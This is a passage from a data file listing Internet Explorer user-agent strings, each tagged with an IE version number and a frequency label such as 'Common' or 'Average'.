2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MDDRJS),8,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; F9J; InfoPath.3),8,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),8,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2),8,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),8,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; ASU2JS),10,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1),8,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),8,Common\nMozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0),9,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0),11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MDDCJS),10,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64, x64; Trident/7.0; rv:11.0) like Gecko\",11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MALNJS),10,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/7.0; .NET4.0E; .NET4.0C),11,Common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;  Trident/5.0),9,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2),8,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MATBJS),10,Common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUS),9,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; FBViewer-6.0.4.0),11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0),11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MAPBJS),10,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP06; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),8,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; NP06),10,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2),8,Common\nMozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US),9,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E),11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MASMJS),10,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; EIE10;ENUSWOL),10,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),8,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch),10,Common\nMozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/5.0),9,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; LCTE; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0),8,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MATMJS),10,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MAGWJS),10,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0;  Trident/5.0),9,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MASEJS),10,Common\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1),8,Common\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0),5.5,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MDDRJS),8,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727),7,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0),11,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322),8,Common\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2),6,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729),8,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; GWX:MANAGED),11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),8,Common\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590),6,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3),11,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDRJS; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C),8,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3),8,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI/2; MDDRJS),8,Common\nMozilla / 5.0(Windows NT 6.1; WOW64; Trident / 7.0; AS; rv: 11.0) like Gecko,,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSCOM),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MSBrowserIE; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06),9,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322),6,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MALNJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; MAAR; .NET4.0C; McAfee; BRI/2; BOIE9;ENUS),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1),7,Average\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent,5,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Win64; x64; Trident/5.0),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; FSJB; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAGWJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; yie9),9,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAAU; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Win64; x64; Trident/6.0),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727),8,Average\n\"Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\",11,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322),6,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0),11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),9,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;NLBE),9,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; LCTE; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC S; MS-RTC LM 8; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E),7,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/7.0),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; BOIE9;ENUS),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),7,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; A7F),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; EIE10;ENUSMSN),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; InfoPath.3; BRI/2; .NET4.0C; .NET4.0E; msn OptimizedIE8;PTPT),8,Average\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Windows NT 6.1; Trident/5.0),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/7.0),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Xbox; Xbox One),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUS),9,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; TNJB; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE8.0; Windows NT 6.0) .NET CLR 2.0.50727),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MAGWJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; EIE10;ENUSWOL),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MDDCJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MDDCJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPDTDFJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8),7,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MALNJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; InfoPath.3; MS-RTC LM 8; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MDDRJS),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/7.0),11,Average\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; yie11; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MAAU),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; A7F),10,Average\nMozilla/5.0 (Windows NT 10.0; Trident/7.0; Touch; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MDDRJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),8,Average\n'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; .NET4.0E; EIE10;ENUSWOL),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/32.0.1700.107; GTB7.5; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib/5.0\\0195; Engine/4.00195; 89670803),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; openframe/30.0.0.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDS),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MASAJS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),8,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Tablet PC 2.0; MDDRJS),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MALNJS),10,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MALNJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; ASU2JS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS),8,Average\nMozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; Touch; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; 